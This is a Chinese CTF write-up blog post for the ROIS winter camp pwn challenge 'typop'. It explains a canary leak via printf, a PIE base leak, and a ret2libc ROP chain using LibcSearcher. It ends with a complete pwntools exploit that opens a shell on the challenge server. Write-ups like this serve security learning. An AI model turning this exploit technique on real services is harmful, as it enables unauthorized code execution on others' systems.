ROIS冬令营——typop

题目自取:

链接:https://pan.baidu.com/s/14wJmvE70RfPJwOfvB96eGg?pwd=prfk 
提取码:prfk

开始:

首先checksec一下,发现保护是全开的,full relro,改不了got,开了canary ,有可能我们要去泄露canaryd的值。开了nx保护,也是就是栈溢出的部分的shellcode代码无法执行,又开了pie保护,使得各段的地址都加上一个piebase的基地址。

接着我们拖到IDA查看c代码

 

两个read都有很明显的栈溢出,所以我们大致思路就是泄露canary,然后执行system("/bin/sh")
但是我们在IDA里没有找到/bin/sh字符串,也没有system的函数。因此我们只能去泄露libc的基地址,利用libcsearcher。(libc库一定要更新,血的教训)

接着我们就开GDB去看看栈的情况

这就是遇到第一个read读入aaaaaaaa的情况,可以看到canary就在rbp的低八位的地址,所以我们的首要任务就是把canary泄露出来。可以看到canary的地址是0x7fffffffdda8,在此之前,我们需要读入10个a才能使得下一个字符覆盖到canary。

正好read函数的下一个代码 printf("You said: %s\n", (const char *)&buf);正是输出读入的buf变量,而且用的是%s输出,而%s的特点正是一直输出,直到遇到/x00/x00,而canary的值的特点正是最后两个字节为00,而又因为小端序,所以00对应的/x00/x00就被提到了最高位,会造成输出截断,因此我们可以选择输入11个b'a',刚好覆盖掉/x00/x00,这样就可以输出canary了,但是因为不遇到/x00/x00不会停止,所以也会把rbp的地址所指向的值也一并输出,不过问题不大

我们用python3验证一下我们的想法,exp如下:
 

事实证明我们的 代码是正确的,那么得到了canary的地址,接下来就是libc的基地址了。
本来想通过第二个read,也就是  read(0, &buf, 0x5AuLL);来用构造puts函数输出自己的地址,但是由于开了pie,所以elf.plt["puts"]并不能代替puts的真实地址,所以我们只能还是寄希望于第一个read,因为rbp的高八位地址就是返回地址,所以我们可以在此泄露出返回地址,借此得到libc的基地址。
所以我们再次经过一个循环重新来到第一个read.
由之前的栈结构我们可以知道返回的地址是main+55,在IDA上对照正是 while ( puts("Do you want to complete a survey?") && getchar() == 121 )这段代码。
因此我们需要把垃圾数据填充直到把rbp填满,也就是需要26个b'a',输出的结果就是main+55的真实地址(其实也就是getfeedback()函数的真实地址)

exp如下:
 

payload=b'a'*26
io.send(payload)
io.recvuntil(b'aid: ')
io.recv(26)
start_addr=u64(io.recv(6).ljust(8,b'\x00'))
io.recv()
elf_start_addr=0x1447 
base=start_addr-elf_start_addr

接着就可以由此计算出puts_got和puts_plt的真实地址,就可以泄露出puts的真实地址
同时开ROPgadget查找pop_rdi_ret,和ret_addr(栈对齐),得到它们的真实地址。
 

puts_got=base+elf.got["puts"]
puts_plt=base+elf.plt["puts"]
ret_addr=0x101a+base
pop_rdi_addr=0x14d3+base

接着就可以利用第二个read函数构造输出puts_addr
 

payload=b'a'*10+p64(canary)+b'a'*8+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(getFeedback)
io.sendline(payload)


puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
io.recv()

 然后利用libcsearcher去寻找system的地址和/bin/sh的地址
 

libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system_addr=libcbase+libc.dump('system')
bin_addr = libcbase + libc.dump('str_bin_sh')
print(hex(system_addr))

有了canary,system,/bin/sh,这题就算结束了,获取shell的代码
 

payload=b'a'*26
io.sendline(payload)


payload=b'a'*10+p64(canary)+b'a'*8+p64(pop_rdi_addr)+p64(bin_addr)+p64(ret_addr)+p64(system_addr)
io.sendline(payload)
io.interactive()

完整的exp如下:
 

from pwn import *
from LibcSearcher import *
context(os="linux", arch="amd64",log_level="debug")
io =remote("81.68.85.214",8006)

elf=ELF("./666")
io.recv()

io.sendline(b'y')
io.recv()
payload=b'a'*10+b'a'
io.send(payload)
io.recvuntil(b'aid: ')
io.recv(11)
canary=u64(io.recv(7).rjust(8,b'\x00'))
io.recv()

payload=b'a'*10+p64(canary)#这里本来想这能否泄露一些地址的,因为得到了canary,但是开了pie,
#又或者我太菜,放弃了。
io.send(payload)
io.recv()
io.sendline(b'y')
io.recv()
payload=b'a'*26
io.send(payload)
io.recvuntil(b'aid: ')
io.recv(26)
start_addr=u64(io.recv(6).ljust(8,b'\x00'))
io.recv()
elf_start_addr=0x1447 
base=start_addr-elf_start_addr
getFeedback=base+elf.symbols["getFeedback"]
puts_got=base+elf.got["puts"]
puts_plt=base+elf.plt["puts"]
ret_addr=0x101a+base
pop_rdi_addr=0x14d3+base

payload=b'a'*10+p64(canary)+b'a'*8+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(getFeedback)
io.sendline(payload)


puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
io.recv()



libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system_addr=libcbase+libc.dump('system')
bin_addr = libcbase + libc.dump('str_bin_sh')
print(hex(system_addr))

payload=b'a'*26
io.sendline(payload)


payload=b'a'*10+p64(canary)+b'a'*8+p64(pop_rdi_addr)+p64(bin_addr)+p64(ret_addr)+p64(system_addr)
io.sendline(payload)
io.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值